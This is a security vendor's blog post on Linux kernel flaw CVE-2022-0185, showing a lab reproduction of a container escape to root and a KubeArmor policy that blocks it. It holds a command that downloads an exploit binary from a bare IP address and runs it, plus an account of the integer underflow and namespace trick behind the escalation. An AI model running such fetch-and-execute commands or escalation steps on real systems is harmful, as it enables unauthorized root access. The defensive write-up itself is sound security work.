Defend Zero Day Attacks

Garner holistic visibility across development and deployment life cycle. Mitigate risks proactively to foil attacks with our most advanced and sophisticated CNAPP product.

Open Source

AccuKnox is the first 5G Security-ORAN to be published on Nephio

From fortifying the control plane to addressing vulnerabilities in the data plane, read the white paper and discover the crucial steps we need to take in order to enhance the security of 5G networks.

Cloud Native Security Redefined

Accelerate your cloud journey with our battle-tested expertise, delivering a comprehensive zero trust framework that safeguards cloud infrastructure and applications from targeted attacks.

Open Source

KubeArmor is now certified Redhat Openshift Operator

Embracing the Power of Open Source: We are proud to contribute to the open-source community, allowing businesses to leverage the strength of KubeArmor to safeguard their containerized environments.

How to Protect from Common Vulnerabilities and Exposures CVE-2022-0185

by | Jan 28, 2022

Reading Time: 4 minutes

Introduction

People consider Linux the most secure operating system, as it is open-source.
Even with all its might, vulnerabilities creep in the shadow, ready to strike.
In this blog, we’ll be taking a look at an infamous heap overflow
vulnerability discovered in 2022. The growth of the Kubernetes and containers
increased exponentially than the previous year. It led to finding a new Linux
Kernel Vulnerability, dubbed CVE-2022-0185, which was introduced to the build
three years ago and went undetected till 2022. Credits to William Liu and Jamie Hill-Daniel for discovering the
vulnerability CVE-2022-0185.

Before we get into details, let’s recall two basic security principles,
the Least Privilege Model, which states “components should only have access rights to only what are strictly
required to do their jobs, thereby denying any possibility of privilege
escalation”
 and the Zero-Trust Model, following the principle “never trust, always verify”.

Who is Vulnerable to this CVE?

Consider a running cluster with a Linux kernel version between 5.1 – 5.15 and
pods deployed with sys_admin capabilities. With the heap overflow attack, an attacker abuses the
functionality which lies on legacy_parse_param leading to an escape from
container environments and elevating privileges.


You can check your kubernetes kernel version using the following command

Kubernetes command

How does this work?

To better understand the vulnerability and how it is working, let’s go ahead
and replicate it in a controlled environment.

We will create a new Kubernetes cluster with Release channel as Rapid Channel and Version as 1.22.3-gke.700, leaving the remaining as default.gcloud

container clusters create “cve-demo” –zone “us-central1-c” –cluster-version “1.22.3-gke.700” –release-channel “rapid”

Kubernetes cluster

Now we have our cluster with Kernel version <5.16 ready. It’s time to
deploy an ubuntu pod and test the exploit.

For this, we have created an ubuntu image with gcc, make, curl, wget, and lsof pre-installed into it. The image also runs as a non-root
user. To ensure that the pod doesn't go into a completed state, we added the
command sleep infinity.

You can use the predefined deployment file to quickly deploy it to your
environment.

Deployment file

With this, the initial setup is completed. It's time to execute the exploit
and see if we can get a root shell poped using privilege escalation.

The Exploit

To explain the exploit, let's take a look at the root cause of this CVE,
 the offending function legacy_parse_param:

CVE overflow

Well, how can we create an overflow from this scenario? You can see the
bound check to prevent overflows:

if (len > PAGE_SIZE -
2 - size)
return invalf(fc,
"VFS: Legacy: Cumulative options too large");

Code block

While this bound check will suffice for most cases, if your size is 4095 bytes
or greater, an integer underflow will occur as size, in this case, is an
unsigned int. Hence, trigger the underflow there, and you will get infinite
heap overflow.

This bug popped up since 5.1-rc1. It's important to note that you need the
CAP_SYS_ADMIN capability to trigger it, but the permission only needs to be
granted in the CURRENT NAMESPACE. Most unprivileged users can
unshare(CLONE_NEWNS|CLONE_NEWUSER) (the equivalent of the command unshare
-Urm) to enter a namespace with the CAP_SYS_ADMIN permission and abuse the bug
from there; this is what makes this such a dangerous vulnerability.

Let's see this in action.

To replicate the issue, we will execute it into our deployed ubuntu-pod

kubectl exec -it $(kubectl get po -lapp=ubuntu-pod -o name |
cut -d / -f2)
-- bash

Ubuntu pod

Commands

Alright! Now we will get the exploit code and make it executable.

cd /home/demouser/
wget http://152.67.166.153/exploit
&& chmod +x exploit
./exploit

Code block 2

The exploit will run for a moment, does its magic, and present you with a
root shell.

CVE workflow

As you can see, we went from demouser with id 1000 to root with id 0

Disabling the vulnerability with open-source AccuKnox products

KubeArmor is open-source software that enables you to protect your
cloud workload at run-time.

The problem that KubeArmor solves is that it can prevent cloud workloads from
executing malicious activity at run-time. Malicious activity can be any
activity that the workload was not designed for or is not supposed to do.

Given a policy, KubeArmor can restrict the following types of behavior on your
cloud workloads:

  • File access - allow/deny specific paths
  • Allow / deny Process execution / forking
  • Allow / Deny Establish network connections
  • Allow / Deny workloads to request other capabilities with the host os. Such
    capabilities can enable additional types of malicious behavior.

Cilium is an open-source project to provide eBPF-based
networking, security, and observability for cloud-native environments such as
Kubernetes clusters and other container orchestration platforms.

We were able to block RCE by enforcing a simple policy via KubeArmor; the
policy is as follows:

Cloud workload at runtime

The Policy: In-action

You can take advantage of our open-source GitHub inventory or apply policy directly from here:

kubectl apply -f
https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-cve-2022-0185-block-container-escape.yaml

Once you apply the policy and execute the exploit from the container,
you'll get an error message, and the exploit will exit.

./exploit [*] Spraying kmalloc-32 [*] Opening ext4 filesystem fsopen: Remember to unshare

Code block

Checking the policy logs on KubeArmor

To check how to do it, kindly go through our help section

Blocked Log Created by KubeArmor

Kubearmour code blockKubearmour code block

Even though writing KubeArmor and CIlium (System and Network) policies is not
a big challenge, AccuKnox opensource has simplified one step further by
introducing a new CLI tool for Auto Discovered Policies. The Auto-Discovery module helps users identify the flow and generate
policies based on it.

Discovering policies has never been better with Auto Discovery. In two simple
commands, you can set up and generate policies without trouble.

To check how to do it, kindly go through our help section.

In mere seconds after installing Auto DIscovery, it generated 10 Cilium
policies and 9 KubeArmor policies.

Code block

These features by AccuKnox open-source makes sure that all the necessary
policies to secure your workload are generated and ready to be used in a
single click.

Accuknox's policy templates repository

Accuknox's policy templates is an open-source repo that contains a wide range
of attack prevention techniques, including MITRE and hardening techniques for
your workloads. Please visit GitHub - kubearmor/policy-templates: Community curated list of System and
Network policy templates for the KubeArmor and Cilium
 to download and apply policy templates.

Conclusion

Even though zero-day exploits are more brutal to avoid and protect from, with
AccuKnox opensource tools, you can prevent your workloads from possible
threats and vulnerabilities until you can get a permanent solution from the
vendor.

Using AccuKnox open-source tools, an organization can effectively protect
against all sorts of accidental developer-introduced vulnerabilities and
zero-day vulnerabilities even without having downtime or risky half-baked
patches.


Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using
Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your
cloud security program.

Please enable JavaScript in your browser to complete this form.
We protect your organization against current and emerging threats with Zero Trust Cloud Security Solutions